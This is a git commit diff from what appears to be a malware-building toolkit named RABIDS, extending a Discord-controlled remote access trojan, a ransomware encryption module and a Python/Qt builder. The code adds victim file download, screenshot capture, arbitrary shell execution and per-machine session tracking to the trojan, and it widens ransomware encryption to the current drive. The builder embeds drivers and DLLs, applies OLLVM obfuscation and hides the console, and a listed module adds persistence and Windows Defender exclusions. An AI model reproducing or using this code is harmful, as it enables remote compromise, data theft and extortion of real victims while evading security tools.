Add Error message for less then one module
This commit is contained in:
@ -1,4 +1,4 @@
|
||||
import dimscord, asyncdispatch, times, options, httpclient, osproc, os, strutils, json, threadpool, streams
|
||||
import dimscord, asyncdispatch, times, options, httpclient, osproc, os, strutils, json, threadpool, streams, random
|
||||
|
||||
const
|
||||
discordToken* = ""
|
||||
@ -54,6 +54,20 @@ proc runCommandWithTimeoutKill(cmd: string, timeoutMs: int): Future[string] {.as
|
||||
proc sendMessage(channelId: string, content: string): Future[Message] {.async.} =
|
||||
result = await discord.api.sendMessage(channelId, content)
|
||||
|
||||
proc sendLongMessage(channelId: string, content: string): Future[void] {.async.} =
|
||||
const maxLen = 1980 # Leave room for code block characters
|
||||
if content.len == 0:
|
||||
discard await discord.api.sendMessage(channelId, "```\n(Command executed with no output)\n```")
|
||||
|
||||
var remaining = content
|
||||
while remaining.len > 0:
|
||||
let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining
|
||||
discard await discord.api.sendMessage(channelId, "```\n" & chunk & "\n```")
|
||||
if remaining.len > maxLen:
|
||||
remaining = remaining[maxLen .. ^1]
|
||||
else:
|
||||
remaining = ""
|
||||
|
||||
proc sendFile(channelId: string, filePath: string, fileName: string): Future[void] {.async.} =
|
||||
let fileContent = readFile(filePath)
|
||||
discard await discord.api.sendMessage(
|
||||
@ -63,6 +77,22 @@ proc sendFile(channelId: string, filePath: string, fileName: string): Future[voi
|
||||
|
||||
proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[string] {.async.} =
|
||||
let cmd = rawCmd.strip()
|
||||
if cmd == "!help":
|
||||
return """Available Commands:
|
||||
!help - Shows this help message.
|
||||
!ls or !dir - List files in the current directory.
|
||||
!cd <dir> - Change directory.
|
||||
!pwd - Print the current working directory.
|
||||
!upload - Upload a file (attach it to the message).
|
||||
!download <file> - Download a file from the victim.
|
||||
!mkdir <dir> - Create a new directory.
|
||||
!touch <file> - Create a new empty file.
|
||||
!rm <file/dir> - Remove a file or directory.
|
||||
!screencapture - Take a screenshot and send it.
|
||||
!sysinfo - Get system information (OS, user, hostname).
|
||||
!<command> - Execute a shell command (e.g., !whoami).
|
||||
"""
|
||||
|
||||
if cmd == "!dir" or cmd == "!ls":
|
||||
when defined(windows):
|
||||
let (output, exitCode) = execCmdEx("cmd /c dir", options = {poUsePath}, workingDir = currentDir)
|
||||
@ -77,6 +107,9 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
|
||||
else:
|
||||
return output
|
||||
|
||||
elif cmd == "!pwd":
|
||||
return currentDir
|
||||
|
||||
elif cmd.startsWith("!cd "):
|
||||
let newDir = cmd[3..^1].strip()
|
||||
let targetDir = if os.isAbsolute(newDir): newDir else: os.joinPath(currentDir, newDir)
|
||||
@ -104,7 +137,7 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
|
||||
|
||||
elif cmd.startsWith("!download "):
|
||||
let fileName = cmd[9..^1].strip()
|
||||
let filePath = os.joinPath(currentDir, fileName)
|
||||
let filePath = joinPath(currentDir, fileName)
|
||||
if fileExists(filePath):
|
||||
await sendFile(m.channel_id, filePath, fileName)
|
||||
return "download successful"
|
||||
@ -113,7 +146,7 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
|
||||
|
||||
elif cmd.startsWith("!mkdir "):
|
||||
let dirName = cmd[6..^1].strip()
|
||||
let dirPath = os.joinPath(currentDir, dirName)
|
||||
let dirPath = joinPath(currentDir, dirName)
|
||||
try:
|
||||
createDir(dirPath)
|
||||
return "created directory: " & dirPath
|
||||
@ -122,7 +155,7 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
|
||||
|
||||
elif cmd.startsWith("!touch "):
|
||||
let fileName = cmd[6..^1].strip()
|
||||
let filePath = os.joinPath(currentDir, fileName)
|
||||
let filePath = joinPath(currentDir, fileName)
|
||||
try:
|
||||
writeFile(filePath, "")
|
||||
return "created file: " & filePath
|
||||
@ -131,7 +164,7 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
|
||||
|
||||
elif cmd.startsWith("!rm "):
|
||||
let target = cmd[3..^1].strip()
|
||||
let path = os.joinPath(currentDir, target)
|
||||
let path = joinPath(currentDir, target)
|
||||
if fileExists(path):
|
||||
try:
|
||||
removeFile(path)
|
||||
@ -150,7 +183,7 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
|
||||
elif cmd == "!screencapture":
|
||||
when defined(macosx):
|
||||
let fileName = "screenshot_" & $now().toTime().toUnix() & ".jpg"
|
||||
let filePath = os.joinPath(currentDir, fileName)
|
||||
let filePath = joinPath(currentDir, fileName)
|
||||
let (output, exitCode) = execCmdEx("screencapture -x " & filePath)
|
||||
if exitCode == 0 and fileExists(filePath):
|
||||
await sendFile(m.channel_id, filePath, fileName)
|
||||
@ -159,7 +192,7 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
|
||||
return "failed to take screenshot: " & output
|
||||
elif defined(windows):
|
||||
let fileName = "screenshot_" & $now().toTime().toUnix() & ".png"
|
||||
let filePath = os.joinPath(currentDir, fileName)
|
||||
let filePath = joinPath(currentDir, fileName)
|
||||
let powershellScript = """
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
Add-Type -AssemblyName System.Drawing
|
||||
@ -206,14 +239,28 @@ proc getHostname(): string =
|
||||
else:
|
||||
return "unknown hostname"
|
||||
|
||||
var machineName = getEnv("MACHINE_NAME", getHostname())
|
||||
proc generateSessionId(): string =
|
||||
randomize()
|
||||
let hostname = getHostname().replace(" ", "-").strip()
|
||||
let uid = rand(1000..9999)
|
||||
when defined(windows):
|
||||
return "win-" & hostname & "-" & $uid
|
||||
elif defined(macosx):
|
||||
return "mac-" & hostname & "-" & $uid
|
||||
elif defined(linux):
|
||||
return "lin-" & hostname & "-" & $uid
|
||||
else:
|
||||
return "unk-" & $uid
|
||||
|
||||
var machineName: string
|
||||
|
||||
proc onReady(s: Shard, r: Ready) {.event(discord).} =
|
||||
machineName = getEnv("MACHINE_NAME", generateSessionId())
|
||||
if machineName notin sessionRegistry:
|
||||
sessionRegistry.add(machineName)
|
||||
try:
|
||||
let dm = await discord.api.createUserDm(creatorId)
|
||||
if machineName notin sessionRegistry:
|
||||
sessionRegistry.add(machineName)
|
||||
discard await discord.api.sendMessage(dm.id, machineName & " IS LIVE <3")
|
||||
discard await discord.api.sendMessage(dm.id, machineName & " is live!")
|
||||
except:
|
||||
echo "Could not send startup message to creator ID: ", creatorId
|
||||
|
||||
@ -233,13 +280,34 @@ proc messageCreate(s: Shard, m: Message) {.event(discord).} =
|
||||
discard await discord.api.editMessage(m.channel_id, msg.id, "pong! took " & $int(after - before) & "ms | " & $s.latency() & "ms.")
|
||||
return
|
||||
|
||||
if content.startsWith("!"):
|
||||
try:
|
||||
let output = await handleCommand(content, m, client)
|
||||
discard await sendMessage(m.channel_id, output)
|
||||
except CatchableError as e:
|
||||
echo "Error executing command: ", e.msg
|
||||
discard await sendMessage(m.channel_id, e.msg)
|
||||
if content.startsWith("!") and not content.startsWith("!sessions") and not content.startsWith("!ping"):
|
||||
let parts = content.split(' ', 1)
|
||||
let firstWord = parts[0]
|
||||
let isTargeted = firstWord.len > 1 and firstWord.startsWith("!") and not firstWord.startsWith("!!")
|
||||
|
||||
if isTargeted:
|
||||
# Command is like "!session-name !command"
|
||||
let targetName = firstWord[1..^1]
|
||||
|
||||
if targetName == machineName:
|
||||
let commandToRun = if parts.len > 1: parts[1].strip() else: ""
|
||||
if commandToRun.len > 0 and commandToRun.startsWith("!"):
|
||||
try:
|
||||
let output = await handleCommand(commandToRun, m, client)
|
||||
if output.len > 0:
|
||||
await sendLongMessage(m.channel_id, output)
|
||||
except CatchableError as e:
|
||||
discard await sendMessage(m.channel_id, "Error on " & machineName & ": " & e.msg)
|
||||
else:
|
||||
discard await sendMessage(m.channel_id, machineName & " is here!")
|
||||
else:
|
||||
try:
|
||||
let output = await handleCommand(content, m, client)
|
||||
if output.len > 0:
|
||||
await sendLongMessage(m.channel_id, output)
|
||||
except CatchableError as e:
|
||||
echo "Error executing command: ", e.msg
|
||||
discard await sendMessage(m.channel_id, "Error on " & machineName & ": " & e.msg)
|
||||
|
||||
proc main() =
|
||||
waitFor discord.startSession()
|
||||
@ -149,11 +149,12 @@ proc main() =
|
||||
|
||||
let targetDir = getHomeDir() / "Documents"
|
||||
let desktop = getHomeDir() / "Desktop"
|
||||
let currentDrive = getCurrentDir().split(PathSep)[0] & PathSep
|
||||
var files = newSeq[string]()
|
||||
|
||||
var root: string
|
||||
when defined(windows):
|
||||
root = getEnv("SystemDrive") & "\\"
|
||||
root = getEnv("SystemDrive") & PathSep
|
||||
else:
|
||||
root = "/"
|
||||
|
||||
@ -161,7 +162,7 @@ proc main() =
|
||||
|
||||
if decryptMode:
|
||||
echo "Starting decryption..."
|
||||
for dir in [root, desktop]:
|
||||
for dir in [root, desktop, currentDrive]:
|
||||
for file in walkDirRec(dir):
|
||||
if file.endsWith(correctedExtension):
|
||||
files.add(file)
|
||||
@ -172,7 +173,7 @@ proc main() =
|
||||
echo "Decryption complete."
|
||||
else:
|
||||
echo "Starting encryption..."
|
||||
for dir in [targetDir, desktop]:
|
||||
for dir in [targetDir, desktop, currentDrive]:
|
||||
for file in walkDirRec(dir):
|
||||
if fileExists(file) and not file.endsWith(correctedExtension) and not file.contains("ransom.html"):
|
||||
files.add(file)
|
||||
@ -193,5 +194,3 @@ proc main() =
|
||||
echo "Error creating or opening ransom note: ", e.msg
|
||||
waitFor sendDiscordMessage("Encryption complete")
|
||||
|
||||
when not isMainModule:
|
||||
discard
|
||||
|
||||
52
compiler.py
52
compiler.py
@ -161,8 +161,6 @@ def merge_nim_modules(nim_files, out_dir: Path, options=None) -> (Path, list):
|
||||
with open(f, "r", encoding="utf-8") as fh:
|
||||
content = fh.read()
|
||||
|
||||
content, _ = apply_options_with_regex(content, all_options)
|
||||
|
||||
lines = content.splitlines()
|
||||
module_body = []
|
||||
in_main_proc = False
|
||||
@ -200,6 +198,9 @@ def merge_nim_modules(nim_files, out_dir: Path, options=None) -> (Path, list):
|
||||
final_content_parts.append("\n\n")
|
||||
final_content_parts.append("\n\n".join(module_bodies))
|
||||
final_content_parts.append("\n\n")
|
||||
|
||||
final_content_parts[2], _ = apply_options_with_regex(final_content_parts[2], all_options)
|
||||
|
||||
final_content_parts.append("proc main() =\n")
|
||||
|
||||
for main_content in main_contents:
|
||||
@ -343,20 +344,14 @@ memexec = {{ git = "https://github.com/DmitrijVC/memexec", version = "0.3" }}
|
||||
("macos", "arm64"): "aarch64-apple-darwin"
|
||||
}[(target_os, target_arch)]
|
||||
|
||||
cargo_cmd = [
|
||||
"cargo", "build", "--release", "--target", rust_target
|
||||
]
|
||||
|
||||
if obfuscate:
|
||||
cargo_cmd = ["cargo", "rustc", "--release", "--target", rust_target, "--"]
|
||||
if ollvm:
|
||||
cargo_cmd.append(f"-Cllvm-args={ollvm}")
|
||||
|
||||
project_path = str(project_dir)
|
||||
volume_mapping = f"{project_path}:/projects"
|
||||
|
||||
if ollvm:
|
||||
for pass_name in ollvm:
|
||||
cargo_cmd.append(f"-Cllvm-args=-enable-{pass_name}")
|
||||
else:
|
||||
cargo_cmd.append("-Cllvm-args=-enable-allobf")
|
||||
|
||||
docker_cmd = [
|
||||
"docker", "run", "--rm",
|
||||
"-v", volume_mapping,
|
||||
@ -364,6 +359,7 @@ memexec = {{ git = "https://github.com/DmitrijVC/memexec", version = "0.3" }}
|
||||
"ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest",
|
||||
*cargo_cmd
|
||||
]
|
||||
|
||||
print(f"[*] Running Dockerized cargo rustc command: {' '.join(docker_cmd)}")
|
||||
try:
|
||||
subprocess.run(docker_cmd, check=True, capture_output=True, text=True)
|
||||
@ -373,6 +369,10 @@ memexec = {{ git = "https://github.com/DmitrijVC/memexec", version = "0.3" }}
|
||||
print(f"Stderr: {e.stderr}")
|
||||
sys.exit(1)
|
||||
else:
|
||||
cargo_cmd = [
|
||||
"cargo", "build", "--release", "--target", rust_target
|
||||
]
|
||||
|
||||
print(f"[*] Running local cargo rustc command: {' '.join(cargo_cmd)}")
|
||||
try:
|
||||
subprocess.run(cargo_cmd, check=True, cwd=project_dir, capture_output=True, text=True)
|
||||
@ -397,11 +397,11 @@ def main():
|
||||
parser = argparse.ArgumentParser(description="Nim-to-EXE Builder")
|
||||
parser.add_argument("--nim_file", type=str, help="Path to a single Nim file")
|
||||
parser.add_argument("--merge", nargs="+", help="List of Nim modules to embed")
|
||||
parser.add_argument("--output_exe", type=str, required=True, help="Output executable name")
|
||||
parser.add_argument("--output_exe", type=str, required=True, help="Output executable name")
|
||||
parser.add_argument("--embed", type=str, help="Path to additional exe to embed & run")
|
||||
parser.add_argument("--nim-only", action="store_true", help="Only build Nim exe (no Rust)")
|
||||
parser.add_argument("--obfuscate", action="store_true", help="Enable Rust OLLVM obfuscation")
|
||||
parser.add_argument("--ollvm", nargs="*", help="OLLVM passes: bcfobf subobf constenc ...")
|
||||
parser.add_argument("--ollvm", type=str, help="A string of OLLVM passes, e.g., '-enable-bcfobf -enable-subobf'")
|
||||
parser.add_argument("--hide-console", action="store_true", help="Hide console window on Windows")
|
||||
parser.add_argument("--target", type=str, default="windows:amd64", help="Target triple (os:arch)")
|
||||
parser.add_argument("--option", action="append", help="Option to inject as const (e.g., key=value)")
|
||||
@ -456,6 +456,19 @@ def main():
|
||||
dll_content = dll_path.read_bytes()
|
||||
b64_content = base64.b64encode(dll_content).decode('utf-8')
|
||||
nim_options.append(f"{const_name}={b64_content}")
|
||||
|
||||
if 'MODULE/byovf.nim' in selected_module_paths and not args.nim_only and target_os == 'windows':
|
||||
embed_files_opt = next((opt for opt in nim_options if opt.startswith('embedFiles=')), None)
|
||||
if embed_files_opt:
|
||||
file_paths_str = embed_files_opt.split('=', 1)[1]
|
||||
for file_path_str in file_paths_str.split(','):
|
||||
expanded_path_str = os.path.expandvars(file_path_str.strip())
|
||||
file_path = Path(expanded_path_str).expanduser()
|
||||
if file_path.exists():
|
||||
print(f"[*] Queuing {file_path.name} for Rust wrapper embedding from byovf.")
|
||||
embedded_files_for_rust[file_path.name] = file_path.read_bytes()
|
||||
else:
|
||||
print(f"[Warning] File to embed not found: {file_path}")
|
||||
|
||||
final_exe_path_str = args.output_exe
|
||||
if target_os == "windows" and not final_exe_path_str.lower().endswith(".exe"):
|
||||
@ -470,8 +483,15 @@ def main():
|
||||
nim_defines = []
|
||||
if args.merge:
|
||||
launcher_source, nim_defines = merge_nim_modules(args.merge, tmp_dir, options=nim_options)
|
||||
else:
|
||||
launcher_source = Path(args.nim_file)
|
||||
elif args.nim_file:
|
||||
nim_file_to_compile = args.nim_file
|
||||
if 'byovf' in args.nim_file and args.option:
|
||||
nim_file_opt = next((opt for opt in args.option if opt.startswith('nimFile=')), None)
|
||||
if nim_file_opt:
|
||||
nim_file_path_str = nim_file_opt.split('=', 1)[1].strip()
|
||||
expanded_path_str = os.path.expandvars(nim_file_path_str)
|
||||
nim_file_to_compile = str(Path(expanded_path_str).expanduser())
|
||||
launcher_source = Path(nim_file_to_compile).expanduser()
|
||||
nim_defines = patch_nim_file(launcher_source, nim_options)
|
||||
|
||||
suffix = ".exe" if target_os == "windows" else ""
|
||||
|
||||
43
main.py
43
main.py
@ -39,6 +39,9 @@ MODULES = {
|
||||
},
|
||||
'module/undeleteme': {
|
||||
'desc': 'Gains persistence and can add a Windows Defender exclusion.'
|
||||
},
|
||||
'module/byovf': {
|
||||
'desc': 'Bring your own Nim file and embed secondary files (e.g., drivers, DLLs).'
|
||||
}
|
||||
}
|
||||
|
||||
@ -87,6 +90,10 @@ MODULE_OPTIONS = {
|
||||
'module/undeleteme': {
|
||||
'persistence': 'true',
|
||||
'defenderExclusion': 'true'
|
||||
},
|
||||
'module/byovf': {
|
||||
'nimFile': 'path/to/your/module.nim',
|
||||
'embedFiles': 'path/to/driver.sys,path/to/cert.pem'
|
||||
}
|
||||
}
|
||||
|
||||
@ -1182,6 +1189,15 @@ class RABIDSGUI(QMainWindow):
|
||||
else:
|
||||
input_widget = QLineEdit(value)
|
||||
input_widget.setFont(subtitle_font)
|
||||
|
||||
if option in ['nimFile', 'embedFiles', 'dumpsterFile', 'inputDir', 'outputDir', 'targetDir']:
|
||||
browse_btn = QPushButton("Browse...")
|
||||
if option == 'embedFiles':
|
||||
browse_btn.clicked.connect(partial(self.browse_open_files, input_widget))
|
||||
else:
|
||||
browse_btn.clicked.connect(partial(self.browse_open_file, input_widget))
|
||||
option_row.addWidget(browse_btn)
|
||||
|
||||
option_row.addWidget(option_label)
|
||||
option_row.addWidget(input_widget)
|
||||
self.options_layout.addLayout(option_row)
|
||||
@ -1405,6 +1421,10 @@ class RABIDSGUI(QMainWindow):
|
||||
if not self.exe_name_input.text():
|
||||
self.log_message("Error: Output executable name is required.", "error")
|
||||
return
|
||||
if len(self.selected_modules) == 1:
|
||||
self.log_message("Error: At least two modules are required to build a chain.", "error")
|
||||
self.tab_widget.setCurrentIndex(1) # Switch to OUTPUT tab
|
||||
return
|
||||
|
||||
loot_dir = Path(self.script_dir) / 'LOOT'
|
||||
loot_dir.mkdir(exist_ok=True)
|
||||
@ -1436,7 +1456,7 @@ class RABIDSGUI(QMainWindow):
|
||||
if self.obfuscate_check.isChecked():
|
||||
cmd.append("--obfuscate")
|
||||
if self.ollvm_input.text():
|
||||
cmd.extend(["--ollvm"] + self.ollvm_input.text().split())
|
||||
cmd.extend(["--ollvm", self.ollvm_input.text().strip()])
|
||||
|
||||
if self.hide_console_check.isChecked() and self.target_os_combo.currentText() == "windows":
|
||||
cmd.append("--hide-console")
|
||||
@ -1498,7 +1518,26 @@ class RABIDSGUI(QMainWindow):
|
||||
def browse_open_file(self, line_edit):
|
||||
file_path, _ = QFileDialog.getOpenFileName(self, "Open Dumpster File", "", "All Files (*)")
|
||||
if file_path:
|
||||
line_edit.setText(file_path)
|
||||
home_path = str(Path.home())
|
||||
if file_path.startswith(home_path):
|
||||
line_edit.setText(file_path.replace(home_path, "$HOME", 1))
|
||||
else:
|
||||
line_edit.setText(file_path)
|
||||
|
||||
def browse_open_files(self, line_edit):
|
||||
"""Opens a file dialog to select multiple files and populates the line_edit with a comma-separated list."""
|
||||
file_paths, _ = QFileDialog.getOpenFileNames(self, "Select Files to Embed", "", "All Files (*)")
|
||||
if file_paths:
|
||||
home_path = str(Path.home())
|
||||
processed_paths = []
|
||||
for path in file_paths:
|
||||
if path.startswith(home_path):
|
||||
processed_paths.append(path.replace(home_path, "$HOME", 1))
|
||||
else:
|
||||
processed_paths.append(path)
|
||||
|
||||
# Append to existing list or create a new one
|
||||
line_edit.setText(",".join(processed_paths))
|
||||
|
||||
def run_garbage_collector_restore(self):
|
||||
self.update_restore_destination_view()
|
||||
|
||||
Reference in New Issue
Block a user